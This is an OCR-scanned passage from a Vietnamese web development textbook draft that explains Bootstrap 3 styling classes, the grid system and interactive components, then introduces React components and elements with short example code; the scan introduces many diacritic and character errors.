bang. Ngoai ra, cd thé st dung cac 16p CSS .active, .success, .info, .warning, .danger
cho ting d6i twong <tr> va <td> dé tao kiéu trinh dién biéu thi cac trang thai khac
nhau cta dit liéu. Pinh kiéu trinh dién bang cé dang nhu sau:

1. <table class="table table-bordered">

2. <thead>...</thead><tbody>...</tbody>
3. </table>
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Hinh anh

Dé trinh dién hinh anh, s dung ddi twong HTML <img>, Bootstrap cung cap
nhiéu 16p CSS nhu .img-rounded, .img-circle, .img-thumbnail, .img-responsive. Cac 16p
CSS nay sé trinh dién hinh anh dwéi dang hinh chit nhat tron gdc, hinh elipse, anh
thumbnail va co gian theo kich thuéc man hinh, twong tmg. Dinh kiéu trinh dién
hinh anh c6 dang nhu sau:

1. <img class="img-circle img-responsive" src="url">
Nut bim

Dé trinh dién nat bdm, st dung cac d6i twong HTML <button>, <input
type="button”> va <a>, Bootstrap cung cap 16p CSS co so .bin va nhiéu l6p CSS
nang cao nhu .btn-default, .btn-primary, .btn-success, .btn-info, .btn-warning, .bin-
danger, .btn-link, .bin-1g, .bin-md, .bin-sm, .btn-xs, .btn-block. C6 thé stv dung 16p .bin,
két hop 16p .btn v6i nhiéu 16p .bin-* d€ chi dinh kiéu dang va kich thudc khac
nhau cho nat bAm. Ngoai ra, c6 thé st dung hai lép CSS..active va .disabled d€ xac
dinh nat bam cé-hiéu luc (cé the'trong tac)hay khong.

Ciing c6 thé gopscae nlitbam vao clingynhomybang cachydtra ehung vao cung
mot d6i tugng <div> va chi dinh' d61 tuong <div> st dung mot trong cac lop CSS
.btn-group, .btn-group-vertical, .btn-group-justified. Véi cac 16p CSS nay, cac nat bam
trong cing nhdm duoc trinh dién thanh hang ngang, c6t doc, hay rong hét man
hinh, twong ting. Ngoai ra, c6 thé sit dung cac 16p .btn-group-iglsmlxs d€ xac dinh
kich thudc cdc ntt bAm trong nhém. Dinh kiéu trinh dién nhém nat bdm cé dang
nhu sau:

1. <div class="btn-group btn-group-sm">

Zc <button class="btn btn-primary">Nut bam 1</button>
3. <button class="btn btn-info">Nut bam 2</button>

4, <button class="btn btn-success">Nit bam 3</button>
5. </div>

Glyphicon

Glyphicon 1a cac anh biéu twong (icon) hodc ky hiéu (symbol) don sic. Dic
diém cuaa glyphicon 1a biéu twong hay ky hiéu chi duoc thé hién bang mdt mau
duy nhét trén nén trong sudt. Do vay, khi nhing vao cac vi tri cu thé, glyphicon sé
an nhap v6i mau nén.

Bootstrap cung cap nhiéu glyphicons ttr trang http://glyphicons.com. Glyphicons
c6 thé duoc str dung trong van ban, nat bam, biéu nhap, thanh cong cu va thanh
diéu huéng, ... St dung glyphicon bang cach khai bao ddi tuong <span> véi cac
lop CSS .glyphicon va .glyphicon-[name], trong do6 [name] duoc thay bdi tén cua
glyphicon nhu envelop, search, print, ... Dinh kiéu trinh dién glypicon cé dang nhuw
sau:

1. <span class="glyphicon glyphicon-search"></span> Search
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Phan trang

Khi ¢6 nhiéu dit liéu can trinh dién, mot ky thuat thuwong dugc sit dung la
phan trang dé trinh dién titng phan doan/trang dit liéu, dong thoi cung cap cac
lién két cho phép nguoi dung chon trang mudn hién thi. D€ tao cac lién két phan
trang, doi tuong <ul> dugc st dung vodi mdi <li> ctia né chita mot lién két.
Bootstrap cung cap cac 16p CSS .pagination va .pager ap dung cho do6i tuwong <ul> dé
trinh dién cc lién két phan trang. Ngoai ra, cd thé st dung cac 16p CSS .active va
disabled cho <li> d€ chi dinh lién két phan trang hién tai hay lién két phan trang bi
vO hiéu hda, tuong ting. C6 thé sit dung két hop .pagination véi 16p .pagination-lg
hodc .pagination-sm &€ thay ddi kich thudc trinh dién céc lién két phan trang. Dinh
kiéu trinh dién phan trang c6 dang nhw sau:

1. <ul class="pagination pagination-sm">
<li><a href="urll">1</a></1li>
<li><a href="url2">2</a»</1i>

2
3
4, <li><a href="url3"»3</a></1li>
5. </ul>

Panel

Panel trong Bootstrap 1a mot hop €6 duong vién véi dém xung quanh ndi dung
bén trong hop. St dung'doitaong <div> véi 16p €SS 'pariel de tao panel. Co the két
hop .panel véi mot trong cac 16p CSS .panel-default, .panel-primary, .panel-success,
.panel-info, .panel-warning, hoac .panel-danger cho phut hop cdc véi cadc ngt canh
khéac nhau. Ngoai ra, bén trong ddéi twong <div class="panel”>, cb thé dat cac <div>
v6i 16p CSS 1a .panel-heading, .panel-body, .panel-footer &€ trinh dién tiéu dé, than, va
chan dé cta panel, twong ting. Vi dy, tao mot panel c¢6 dang nhu sau.

1. <div class="panel panel-default">
<div class="panel-heading">Thong tin ca nhan</div>

2
3. <div class="panel-body">Noi dung bat ky</div>
4. </div>

Biéu nhap

Bootstrap cung cap ba kiéu trinh dién biéu nhap la doc, ngang va noi tuyén.
Biéu nhap doc la kiéu méac dinh. D€ trinh bay biéu nhap ngang hay noi tuyén, can
thém 16p CSS .form-horizontal hay .form-inline, twong tng, cho doi tuong <form>.
Vi biéu nhap doc, cac ddi tuong trong <form> duoc hién thi theo khdoi, mdi d&i
tiong trén mot dong. Vi biéu nhap ngang, moi d6i tuong nhap cling nhan cho né
duoc hién thi trén mot dong. Trén thiét bi c6 man hinh kich thudc nho, biéu nhap
ngang s€ tu dong duoc chuyén thanh biéu nhap doc. Véi biéu nhdp ndi tuyén, tat
ca cac doi tuong dwoc hién thi theo dong.

Cac doi twgng nhap liéu (<input>, <textarea>, <select>) trén biéu nhap can duoc
cung cap 16p CSS la .form-control. Ngoai ra, mdi d6i tuong nhap liéu ctiing nhan
cho nd can duoc dé€ trong mot <div> c6 16p CSS 1a .form-group. Véi bi€éu nhap
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ngang, cac nhan can duwoc ap dung 16p CSS .control-label, dong thoi ap dung hé
thong lwdi (xem muc sau) d€ trinh bay biéu nhap.

Vi dy, trinh dién médt biéu nhap doc dwoc thuc hién nhw sau.

1. <form>

2 <div class="form-group">

3 <label for="email">Email address:</label>

4. <input type="email" class="form-control"” id="email">
5 </div>

6 <div class="form-group">

7 <label for="pwd">Password:</label>

8. <input type="password" class="form-control" id="pwd">
9. </div>

10. <div class="checkbox">

11. <label><input type="checkbox"> Remember me</label>
12. </div>

13. <button type="submit" class="btn btn-default">Submit</button>
14. </form>

Mot vai déi twong khac

Ngoai cdc doi turong tailiéu duge Bootstrap-cung cdp.cac 16p trinh dién dac thu
nhu da dugc trinh bay'é tréfymot s¢ ddirtieongThung nhw <divs, Klabel> con duoc
Bootstrap cung cap, cac 1op/CSS™d€ thuc hién nhiting chuc nang riéng nhu
Jjumbotron, .well, .badge. Khi ddi twong <div> dwoc ap dung 16p .jumbotron, nd sé
duoc hién thi v6i nén xdm va duong vién tron goc, chit bén trong <div> cling dugc
phong to hon binh thuong. Muc dich cta .jumbotron la d€ 1am noi bat va gay cha y
vé moét ndi dung nao d6 duogc trinh bay trén giao dién. Tuwong tu, khi d6i twong
<div> dugc ap dung 16p .well, n6 sé dugc hién thi véi nén xam va duong vién tron
gbc. C6 thé dinh kich thwdc cho .well bang viéc két hop .well véi .well-sm hay .well-
Ig. L6p .badge dwoc st dung d€ trinh dién d6i twong <span> nhuw bidu hiéu. Biéu
hiéu thuong dwgc sit dung dé€ biéu thi s6 lwong khoan muc trong mét hang muc
hay lién két, vi du sO lwgng bai viét, sO luong thu dén, ...

5.3.3. Hé thong lwoi

Mot trong nhitng khé khan 16n nhét d6i véi cac 1ap trinh vién web la st dung
CSS dé dan trang (xem Muc 3.11.1), dac biét 1a dan trang thich Gng (xem Muc
3.10). Nham giai quyét khé khan do, Bootstrap da dua ra hé thong ludi. Hé théng
nay duoc st dung dé€ dan trang mot cach dé dang va linh hoat theo thiét bi. Vé
mat logic, lwdi bao gom mot hodc nhiéu dong, mdi dong bao gom mot hodc nhidu
0, mdi O trai ra trén mot hodc nhitu cdt va 1a mot ngan hinh chit nhat duoc st
dung d€ hién thi ndi dung trang web. Vi Bootstrap, lwdi ¢ 12 cft cd chiéu rong
déu nhau. Mbi 6 ¢ thé chiém tir 1 dén 12 cot. Tong s6 cdt ctia cac 6 trén cling mot
dong ludn ludn phai la 12. S& 12 duwgc chon vi nd 1a bdi cta 2, 3, 4, va 6, do d6 cd
thé chi dinh chiéu rong cua 6 la 25%, 50%, 75%, 33%, 66% chiéu rong khung chira
thong qua chi dinh s6 c¢6t ma n6 chiém. Hon nita, Bootstrap cho phép lua chon
kich thuwdc thiét bi d€ chia (chi dinh chiéu réng) 6 mot cach phu hop.
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Dong dugc khai bao bang d6i twong <div> véi 16p CSS 1a .row. Cot cling dwoc
khai bdo bang ddi twong <div> nhung véi cac 16p CSS 1a .col-[screen]-[size], trong
d6, [screen] cho biét kich thudc man hinh, [size] 1 s6 cot ma 6 chiém. [size] c6 gia tri
la s6 nguyeén tit 1 dén 12. [screen] chi nhan mot trong bon gia tri la:

- xs (cho thiét bi c6 man hinh siéu nho, vi du dién thoai di dong, chiéu
rong man hinh nhé hon 768 pixels)
- sm (cho thiét bi c6 man hinh nho, vi du tablets, chiéu rong man hinh tw
768 pixels dén 991 pixels)
- md (cho thiét bi c6 man hinh trung binh, vi du PC va laptop, chiéu rong
man hinh ttr 992 pixels dén 1199 pixels)
- Ig (cho thiét bi c6 man hinh 16n, chiéu rong man hinh ttr 1200 pixels trd
lén)
Co thé st dung két hop cac 16p .col-[screen]-* khac nhau d€ tao dan trang dong va
mém déo. Vi dy, d€ tao mot dong c6 hai 6 véi ty 1€ chiéu rdng cac 6 & man hinh
nho la 25%-75%;0 man hinh trung binh va 1on,1a 50%-50%;-cac 16p-.col-[screen]-*
khac nhau dugc st dung nhu sau.

1. <div class="container">

2 <div class="row">

3 <div class="col-sm-3 col-md-6" style="background-color:yellow;">
4 Column A

5 </div>

6. <div class="col-sm-9 col-md-6" style="background-color:pink;">

7 Column B

8 </div>

9 </div>

10. </div>

Vi khai bao nay, khi nguoi dung thay d6i kich thudce ctra s sé thay ti 1é chia 6
duoc thay d6i twong tng.

Cac 16p .col-[screen]-* c6 kha nang mo rong 1én, nghia 1a dwoc 4p dung cho ca
man hinh c6 kich thudc 16n hon kich thudce chi dinh khi cac 16p cho man hinh 16n
hon khong dugc khai bao. Trong vi du trén, cac 16p .col-Ig-* khong dugce khai bao,
do do6 16p .col-md-6 duoc ap dung cho ca man hinh kich thwdc 16n.

O man hinh nho hon va khong c6 16p .col-[screen]-* dugce dp dung, cac 6 sé
dwoc hién thi theo khoi voi chiéu rong cac 6 la 100%. Trong vi du trén, néu thiét bi
hién thi c6 man hinh siéu nho, cac 6 "Column A" va "Column B" sé dwoc hién thi
[an lwogt tir trén xudng dwdi, cac 6 chiém 100% chiéu rong thiét bi. Thuc chat, lac
nay cac 6 duoc hién thi theo CSS méc dinh danh cho cac d6i tuong <div>.

Mot luu y la d€ cho hé thong ludi lam viéc chinh xac, cac hang va cot phai
duoc dat trong mot doi twong chira, tirc la trong <div> c6 16p CSS la .container hoac
.container-fluid.

102



5.3.4. Cac thanh phian giao dién

DPdc trung thit ba ma Bootstrap mang lai 1a hé thong 16p CSS két hop thu vién
JavaScript cho phép tao ra cac thanh phan phtec tap trén giao dién nhu thuc don
tha xudng (dropdown), thanh diéu hudéng (navbar), hay bang cd dinh vi tri (affix).
Ban chat mdi thanh phan 13 mdt nhdm cac ddi tuong tai liéu dwoc Bootstrap cung
cap cac 16p CSS va ham JavaScript d€ chung dwgc hién thi va tuwong tac theo kich
ban da dinh truede. D€ ¢ thé twong tac voi cac thanh phan, trang web can bao ham
cac thu vién JavaScript cua Bootstrap. Vi dy, d€ tao thyc don tha xudng, trang web
can bao ham tép dropdown.js ctia Bootstrap. Bootstrap CSS chi tao kiéu hién thi cho
thuce don trong khi dropdown.js can cho viéc mo hay dong thuc don. Luu y, c6 thé
bao ham tép tich hop bootstrap.js thay cho bao ham cac tép thu vién JavaScript don
le.

Do gidi han vé dung luong, gido trinh chi trinh bay mét vai thanh phan giao
dién tiéu biéu ctia Bootstrap. Thong qua trinh bay nay, nguoi doc ¢ thé hiéu duoc
nguyén lytao thanh phangiao-dién trong Bootstrap,.tit dé cd-the tix tim hiéu va st
dung cac thanh phan khac,

Danh sich tha x@iong/1én

Dé tao mot danh s&ch thdxubng/lén, ddu tién"can KHai bao mot doi tuwong <div>
dé€ chira thye don. D6i tugng nay can duoc trang bi 16p CSS 1a .dropdown/.dropup.
Tiép theo, khai bao danh sich thyc don bang d6i tuong <ul> véi 16p CSS la
.dropdown-menu. Mbi <li> trong <ul> tro thanh mot thwee don. Mdc dinh, cac thyc
don khong duoc hién thi. Cudi cung, d€ mo (hién thi) hay dong (an) cac thuc don,
mot d6i twong nut bam (<button>) hodc lién két (<a>) can duoc khai bao trong d6i
twong chira va trudc doi twgng danh sach. Nut bam hodc lién két can str dung 16p
CSS .dropdown-toogle va thudc tinh data-toggle="dropdown”. data-toggle la mot thude
tinh méi ma Bootstrap gan cho cac d6i twong tai liéu. Co thé st dung cac 16p CSS
.active va .disabled cho cac thuc don (<li>) d€ thé hién trang thai dwoc kich hoat hay
v hiéu hoa cua thue don. Vi du khai bdo mét thye don tha xuéng nhu sau.

1. <div class="dropdown">

Zc <button class="btn dropdown-toogle" data-
toggle="dropdown"> Memu </button>

3. <ul class="dropdown-menu">

4. <li><a href="#">HTML</a></1i>

5. <li><a href="#" class="active">CSS</a></1li>

6. <li><a href="#" class="disabled">Javascript</a></1i>

7. </ul>

8. </div>

Céc thanh phan ¢6 thé dong-mo
Thanh phan c6 thé déng mo la thanh phan giao dién c6 thé thay doi trang thai
an/hién khi nguoi dung twong tac véi nd. Thanh phan c6 thé dong-mo co ban nhat
la khung dong-mo. D€ tao mot khung déng-md, dau tién can khai bao mot doi
twong ndi dung voi 16p CSS 1a .collapse, dong thoi gan cho d6i twong nay mot dinh
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danh. Tiép theo, khai bao mdt ntt bam hodc lién két véi cac thudc tinh data-
toggle="collapse” va data-target="#id", trong do6 #id la dinh danh ctia d6i twong ndi
dung. data-target cing 1a mot thudc tinh méi do Bootstrap gan cho cac ddi twong
tai liéu. Khi nguoi dung kich vao nat bdm hodc lién két, d6i tuwong ndi dung sé
duoc thay d6i an/hién. Mdc dinh, d6i tuwong ndi dung dwgc an. Néu mudn doi
twong ndi dung hién theo méac dinh thi st dung thém 16p CSS .in cho d6i twong
nay. Vi du khai bdo mot khung déng-mé nhu sau.

1. <button data-toggle="collapse” data—target="#samp1e">5n/hién</button>
2. <p id="sample" class="collapse">

3. Noi dung bat ky

4. </p>

Mot panel cling cé thé déng-mo than va chan dé ctia né. D€ cung cap kha néng
nay, hai chi ti€t méi can dugc bd sung cho panel. Thit nhét, than va chan dé ctua
panel duoc dat vao mot <div> véi hai 16p CSS 1a .collapse va .panel-collapse. Thit hai,
can chen vao tiéu dé ctua panel mot doi twong lién két véi cac thudce tinh data-
toggle="collapse’"va data-target="4id(~hodc| href="#id.' - trong d4-#id la,dinh danh ctua
do6i twong <div> chira thangva chan.de cuapanel. Vi dukhai bao mot panel c6 kha
nang dong=-mo nhur sat

1. <div class="panel panel-default">

2. <div class="panel-heading">

3. <a data-toggle="collapse" href="#collapsel”>Panel</a>
4. </div>

5. <div id="collapsel"” class="panel-collapse collapse">

6. <div class="panel-body">Panel Body</div>

7. <div class="panel-footer">Panel Footer</div>

8. </div>

9. </div>

C6 thé nhém cac panels ddng-md dé tao thanh mot accordion, trong d6 moi
khi mot panel duwgc mé thi cac panels con lai tyw dong duoc déng lai. D€ thuc hién
diéu nay, chi can dwa cac panels déng-m¢ vao mot déi twong chira (<div>) c6 16p
CSS la .panel-group, dong thoi dat thudc tinh data-parent="#id” cho cac lién két diéu
khién voi #id la dinh danh ctia d6i twong chira. Vi du khai bao mot arcordion nhw
sau.

1. <div class="panel-group" id="p">

2 <div class="panel panel-default">

3 <div class="panel-heading">

4. <a data-toggle="collapse" data-parent="#p" href="#cl">Panel 1</a>
5 </div>

6 <div id="c1l" class="panel-collapse collapse in">

7 <div class="panel-body">Content 1</div>

8. </div>

9. </div>

10. <div class="panel panel-default">

11. <div class="panel-heading">

12. <a data-toggle="collapse" data-parent="#p" href="#c2">Panel 2</a>
13. </div>

14. <div id="c2" class="panel-collapse collapse">

15. <div class="panel-body">Content 2</div>
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16. </div>
17. </div>
18.</div>

Céc thanh phan diéu huéng

Nhiéu thanh phan diéu huéng cé thé duoc st dung d€ tao ra cac giao dién
than thién, dé st dung. Nhiing thanh phan diéu hudng dién hinh bao gom tab,
pill, va thanh diéu hudng. Tab va pill c6 chung dac diém la dwoc dung d€ thay doi

hién thi ctia cac phan (section) khac nhau ctia trang web. Nguoc lai, thanh diéu
hudng thuong dwoc st dung dé chuyén hudng dén nhiing trang khéc.

Dé€ tao tab/pill, viéc dau tién la tao ra cac phan ndi dung sé duoc thay doi hién
thi khi nguoi dung twwong tac trén tab/pill. C6 thé khai bdo mdi phan noi dung 1a
mot doi twong <div> véi 16p CSS la .tab-pane va mot dinh danh duy nhat. Mac
dinh, cac phan ndi dung sé duwoc an. Néu mudn cho phan ndi dung hién thi ngay
ttr dau thi thém cac 16p CSS .active va .in cho d6i twgng <div> twong tng. Ti€p theo,
can dua cac phan ndi dung yvao trong mot <div> cé 16p CSSla .tab-content. Luc nay,
ndi dung cactab/pill da diegc hoan' thién. Viéc cuibi cung latao dieu hudng tab/pill
dé diéu khién hién thi-cac phan ndi dung.RDiéu hudng tab/pill.dirac tap bang cach
khai bdo ddi tugng <ul>vdi cac 16p-CSS/la .av va nav-tabs/ . aeo=pill) dong thoi moi
<li> ctia n6 ¢o6 thudc tinh data-toggle="tab"1"pill" Va href="#id", ttong do #id la dinh
danh ctia phan ndi dung sé dwgc diéu khién hién thi. Vi du sau khai béo hai tabs
véi tiéu dé tab Ian luot 1a "Menu 1" va "Menu 2".

1. <ul class="nav nav-tabs">

2. <1li class="active"><a data-toggle="tab" href="#menul">Menu 1</a></1li>
3. <li><a data-toggle="tab" href="#menu2">Menu 2</a></1i>
4. </ul>

5. <div class="tab-content">

6. <div id="menul" class="tab-pane in active">

7. <h3>Menu 1</h3>

8. <p>Some content in menu 1.</p>

9. </div>

10. <div id="menu2" class="tab-pane">

11. <h3>Menu 2</h3>

12. <p>0Other content in menu 2.</p>

13. </div>

14. </div>

D¢ tao thanh diéu hudng, dau tién can khai bdo d6i twong chira la <nav> véi
16p CSS 1a .navbar. C6 thé bod sung 16p CSS .navbar-default hodc .navbar-inverse cho
<nav> d€ tao nén cho thanh diéu huéng. Cing cé thé cho thanh diéu hudng cd
dinh vi tri ¢ trén hodc dwdi cung cta vung hién thi bf?mg viéc cung cdp cho <nav>
16p CSS .navbar-fixed-top hodc .navbar-fixed-bottom, twong ting. Cac thanh phan cé
thé dua vao thanh diéu hudng bao gom tiéu dé, danh sach thuc don, nat bam,
form va van ban. Thong thuong, tiéu dé dugc dua vao trudc nhing thanh phan
khac, nhung khong cé rang budc nao vé vi tri trudc hay sau gitra cac thanh phan.
Mat khac, khong c6 gidi han vé s lugng cac thanh phén, nghia 1a ¢6 thé dua
nhiéu thanh phan cung loai vao thanh diéu huéng. Danh sach thuce don cho thanh
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diéu hudng dwoc khai bao bang d6i tiong <ul> véi cac 16p CSS 1a .nav va .navbar-
nav, trong dé mdi <li> ctia nd 1a mot thue don cho thanh diéu hudng. Mac dinh,
danh sach thuc don sé dwgc hién thi tir trai sang phai. Tuy nhién, ¢ thé cho danh
sach thuc don hién thi sang bén phai bang cch cung cap cho né 1ép CSS .navbar-
right. Tiéu dé dugc khai bao bang d6i tuong <div> véi 16p CSS 1a .navbar-header,
bén trong chita cac lién két véi 16p CSS 1a .navbar-brand. Nut bam (<button>), néu
duoc dwa vao thanh diéu hudng, sé can st dung 16p CSS .navbar-btn. Twong tu,
<form> néu duoc dua vao thanh diéu hudng sé can cung cap 16p CSS .navbar-form.
Bi€u nhap trén thanh diéu hudéng duoc trinh bay theo ki€u noi tuyén. Néu can dua
van ban vao thanh diéu hudng, d6i twong van ban can st dung 16p CSS .navbar-
text. Cudi cung, d€ thanh diéu hudng cé thé thay do6i hién thi thich tng véi thiét
bi, titc cho phép an/hién cac thanh phan bén trong né tuy theo chiéu rdng vung
hién thi, cac thanh phan c6 thé an/hién duoc dat vao mot <div> c6 cac 16p CSS la
.collapse va .navbar-collapse. Ngoai ra, can dat vao phan tiéu dé mot nat bam véi 16p
CSS .navbar-toggle va cac thudc tinh data-toggle="collapse”, data-target="#id", trong
d¢ #id 1a dinh danh ctla)<div>|chira lcac thanh phamaed, the' anj/tién.

Vi du khai bag mot thanh diég hudng nhu sau. Trong vi du nay, thanh diéu
hudng c6 mot tiéu déxhai danh sach thuc don va mot form=Cac danh sach thuc
don va form c6 thé an/hién thich tung theo'thiétbi. Mét"danh'séch thuc don duoc
hién thi bén phai. Ngoai ra, thanh diéu hudng c6 vi tri cd dinh trén cung cua vung
hién thi.

1. <nav class="navbar navbar-inverse navbar-fixed-top">
2. <div class="navbar-header">

3. <button type="button" class="navbar-toggle" data-
toggle="collapse" data-target="#myNavbar">

4. <span class="icon-bar"></span>

5. <span class="icon-bar"></span>

6. <span class="icon-bar"></span>

7. </button>

8. <a class="navbar-brand" href="#">MySite</a>

9. </div>

10. <div class="collapse navbar-collapse" id="myNavbar">
11. <ul class="nav navbar-nav">

12. <1li class="active"><a href="#">Home</a></1i>

13. <li><a href="#">Page 2</a></li>

14. <li><a href="#">Page 3</a></li>

15. </ul>

16. <form class="navbar-form navbar-left">

17. <div class="form-group">

18. <input type="text" class="form-control"” placeholder="Search">
19. </div>

20. <button type="submit" class="btn btn-default">Submit</button>
21. </form>

22. <ul class="nav navbar-nav navbar-right">

23. <li><a href="#">Logout</a></1i>

24. </ul>

25. </div>

26. </nav>
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5.3.5. JavaScript API

Thu vién JavaScript cua Bootstrap, bootstrap.js, c6 nhiém vu cung cdp kha nang
twong tac cho cac thanh phan giao dién. Twong tac c6 thé duoc cai dat thong qua
stt dung cac thudc tinh data-* nhue da duoc trinh bay trong cac vi du ¢ trén. Thuw
vién JavaScript ctia Bootstrap sé phan tich DOM dé€ tim ra cac d6i tuong tai liéu c6
thudc tinh data-* r6i gan cac phuong thire xw ly twong ting cho ching. Mot cach
khac d€ cai dat twong tac cho cac thanh phan giao dién la st dung cac JavaScript
API duoc Bootstrap cung cdp. Cac API nay duoc viét theo ct phap cua jQuery nén
dé hoc va dé st dung. Vi dy, thay vi st dung thudc tinh data-toggle="tab” cho cac
lién két diéu khién tab, lap trinh vién c6 thé si dung API tab("show”). Cu thé, doan
ma JavaScript cung cap kha nang twong tdc cho cac tab c¢6 dang $(”.nav-tabs
a”).click(function(){$(this).tab("show”);}).

Mot ttng dung quan trong ctia Bootstrap JavaScript API 1a xt 1y cac sy kién
trén thanh phéan giao dién. Trong vi du sau day, ba tab duoc tao trén giao dién.
Gia str ndi dung-cho moi-tab. rat,dai vamat nhiéu thoigian, d€ xit lyybén phuc vu.
Néu ndi dung cho_ca ba tab duoc tai'ngay-tai thoi diém tai trang thi sé mat nhiéu
thoi gian cho/trang deec tairxong, Mat kivde, viéetai ndi dung-ehoyca ba tab dong
thoi la khong can thiet vi chi/co/néi dung cua tab dau tién duoc hién thi khi tai
xong trang. Do vay, giai phap tot hon 1a chi tai noi dung cho cac tab thw hai tré di
khi nguoi dung kich chon tab lan dau. Trong vi du nay, néu nguoi dung kich chon
[an dau tab thit hai, ndi dung trang abc.hitm sé dwoc tai vao tab thi hai. Twong tu,
néu nguoi dung kich chon lan dau tab thi ba, ndi dung trang def.htm dwgc tai vao
tab thit ba.

1. <ul class="nav nav-tabs">

2. <1li class="active"><a data-toggle="tab" href="#menul">Tab 1</a></1li>
3. <li><a data-toggle="tab" href="#menu2">Tab 2</a></li>

4, <li><a data-toggle="tab" href="#menu3">Tab 3</a></1li>

5. </ul>

6. <div class="tab-content">

7. <div id="menul" class="tab-pane in active">Preloaded content</div>
8. <div id="menu2" class="tab-pane"></div>

9. <div id="menu3" class="tab-pane"></div>

10. </div>

11.<script type="text/javascript">
12. $(document).ready(function(){

13. $('.nav-tabs a').on('show.bs.tab', function(){

14. if ($($(this).attr("href")).html() == "") {

15. if ($(this).attr("href") == "#menu2") {

16. $("#menu2").load("abc.htm");

17. } else if ($(this).attr("href") == "#menu3") {
18. $("#menu3").load("def.htm");

19. }

20. }

21. })s

22. });

23.</script>
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5.4. REACT

React la mot thu vién JavaScript cho phat trién giao dién nguoi dung da duoc
Facebook phat trién va st dung trong cac san phdm cua hg. Thu vién nay ciing
duoc cung cdp dudi dang ngudén mé va duoc nhiéu lap trinh vién tham gia phat
trién. Website chinh thitc ctia React tai https://facebook.github.io/react. Nhiéu tng
dung web ngay nay st dung React d€ phat trién mat trede. Uu diém ctia thw vién
nay la n6 cho phép phan tach giao dién thanh cac thanh phan giao dién doc lap, c6
thé st dung lai. Vé mat khai niém, thanh phan React gidng nhw ham JavaScript.
N6 chdp nhan di liéu vao bat ky va tra vé cac phan t React miéu ta giao dién.
Thu vién React sé chuyén do6i cac phan ti React thanh cac d6i twong DOM.

5.4.1. Thanh phén va phan tir React

Thong thuong, thanh phan giao dién (Ul component)/thanh phan React duoc
dinh nghia bang 16p React. Lép React 1a 16p JavaScript ké thita 16p co so triru
twong ReactComporient) Lop React co thé khéng/cd[gi nhuwng phaied mot phuong
thirc render(). Phuweng thirdinay 6 phiém vu tra vé cagphan tir React, hay cac phan
tir giao dién. Ngoaifa, 16p React £6 hai thugc tinh\quan trong laprops va state. Ca
hai thudc tinh nay déusla cae d6i tuong.JavaScript 'den'gian. (khong c6 phuong
thirc). Thudc tinh props chira dir liéu vao cho thanh phan va la thudc tinh chi doc.
Gia tri cia n6 duoc xac dinh tai thoi diém thanh phan dwgc tao. Khac véi props,
thuoc tinh state nam gitt nhitng di liéu bén trong, riéng ctia thanh phan. state con
duoc goi la d@ liéu cuc by, duoc déng gdi trong thanh phan. Theo mac dinh, moi
khi gia tri cua state thay d6i, thanh phan sé cap nhat lai giao dién, tirc goi phuwong
thirc render(). Khong nén thay doi state tryc ti€p ma nén st dung phuong thic
setState() vi setState() sé dua cac yéu cau thay ddi vao hang doi va bao cho React
biét thanh phan nay can cap nhat lai giao dién.

Mot khai niém khac c6 lién quan mét thiét v4i thanh phan React 1a phan to
React. C6 thé hinh dung, thanh phan React tao ra (bang phuong thikc render()) mot
tap (dang cay, con goi la cdy DOM 4&0) cdc phan tt React, sau d6 mdi phan tir
React duoc chuyén d6i thanh mot ddi twong DOM.

Phuong thtrc React.createElement(type, [propsl, [children]) dugc sit dung d€ khai
bado cac phan tir React, trong d6 tham sG bat budc type c6 thé 1a tén thé (nhu
HTML) hodc tén 16p React. Phwong thitc nay cuing voi 16p React la nhitng cong cu
co ban d€ tao ra cac thanh phan giao dién.

Cudi cung, cac thanh phan React can phai dugc dwa lén giao dién. React cung
cap phuong thitc ReactDOM.render(reactComp, domNode) d€ thuc hién diéu nay,
trong d6 reactComp la thanh phan React sé duoc chuyén doi thanh nhénh cac doi
twong DOM va nhanh nay tré thanh con, chau ctia d6i teong DOM c6 tham chiéu
la domNode.
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D€ hinh dung cac cau 1énh khai bao va cach cac thanh phan React hoat dong,
hay xem xét vi du don gian sau day. Trong vi du nay, mot 16p React c6 tén la
Product duogc dinh nghia d€ mo ta vé san phdm. Thudc tinh props cua né sé nhan
dau vao 1a tén (name) va mo ta (description) cuia mot san phdm nao dé. Thanh phan
nay chua st dung thudc tinh state. Phuong thitc render() ctia Product tra vé mot
phén ti <div> véi 16p CSS 1a .box. Bén trong phan ti <div> ¢ phan t& <h1> hién thi
tén va phan ti <p> hién thi mo6 ta cua san pham. Ciing trong vi du nay, mot thanh
phéan Product da duoc khai béo véi tén la "Dell Laptops” va mo ta la "Laptops from
Dell", dong thoi dugc gan vao doi twong DOM c6 dinh danh la "root" d€ hién thi
trén giao dién.

1. <style>

2. .box {border:solid 1px red;}

3. </style>

4. <div id="root"></div>

5. <script>

6. class Product extends React.Component {

7. constructor(props) { super(props); }

8. render() {

9. return React.createElement(

10. "div",

11. {className:"box"},

12. React.createElement("h1", null, this.props.name),
13. React.createElement("p", null, this.props.description)
14. )

15. }

16. }

17. ReactDOM.render(

18. React.createElement(

19. Product,

20. {name:"Dell Laptops"”, description:"Laptops from Dell"}
21. ),

22. document.getElementById( 'root")

23, );

24. </script>

Dé€ thay két qua chay vi du trén, hay sao chép ma ngu6n trong vi du vao cac
ctta sO soan thao cua CodePen tai https://codepen.io. Day la mot mdi treong phat
trién mat trede duoc sit dung pho bién hién nay. Trén ctra s6 soan thao JS, chon
thiét 1ap cdu hinh (Pen Settings) va thém cac thu vién JavaScript sau:

https://cdnjs.cloudflare.com/ajax/libs/react/15.3.1/react.min.js
https://cdnjs.cloudflare.com/ajax/libs/react/15.3.1/react-dom.min.js
Viéc thiét lap moi truong thong dich React sé duoc trinh bay 6 Muc 5.4.6. Bay gio,
hay ti€p tuc vdi logic thanh phan ctia React.
5.4.2. Cap nhat giao dién va xtit 1y su kién
Cac phan t React c6 tinh bat bién. Nghia 1a, chwong trinh khong thé thay doi

cac thudc tinh cling nhu cac phan t con cta phan ti React mot khi né da dwgc tao

109


https://www.studocu.com/row?utm_campaign=shared-document&utm_source=studocu-document&utm_medium=social_sharing&utm_content=giao-trinh-ptud-web-draft

ra. Tuy nhién, mdi khi thuoc tinh state cia thanh phan React dwoc thay ddi,
phuong thiic render() sé tw dong dwgc goi d€ cap nhat lai giao dién. D€ minh hoa
dac tinh nay, xét mot mo rong cua vi du trén nhu mo ta dudi day. Khi xem thong
tin san pham trén giao dién, nguoi dung cé thé bam nat danh ddu hodc bé danh
ddu san pham ma nguoi dung quan tdam. San pham dwoc danh dau sé dwoc hién
thi trén nén mau vang, nguoc lai san pham dwoc hién thi trén nén mau trang nhw
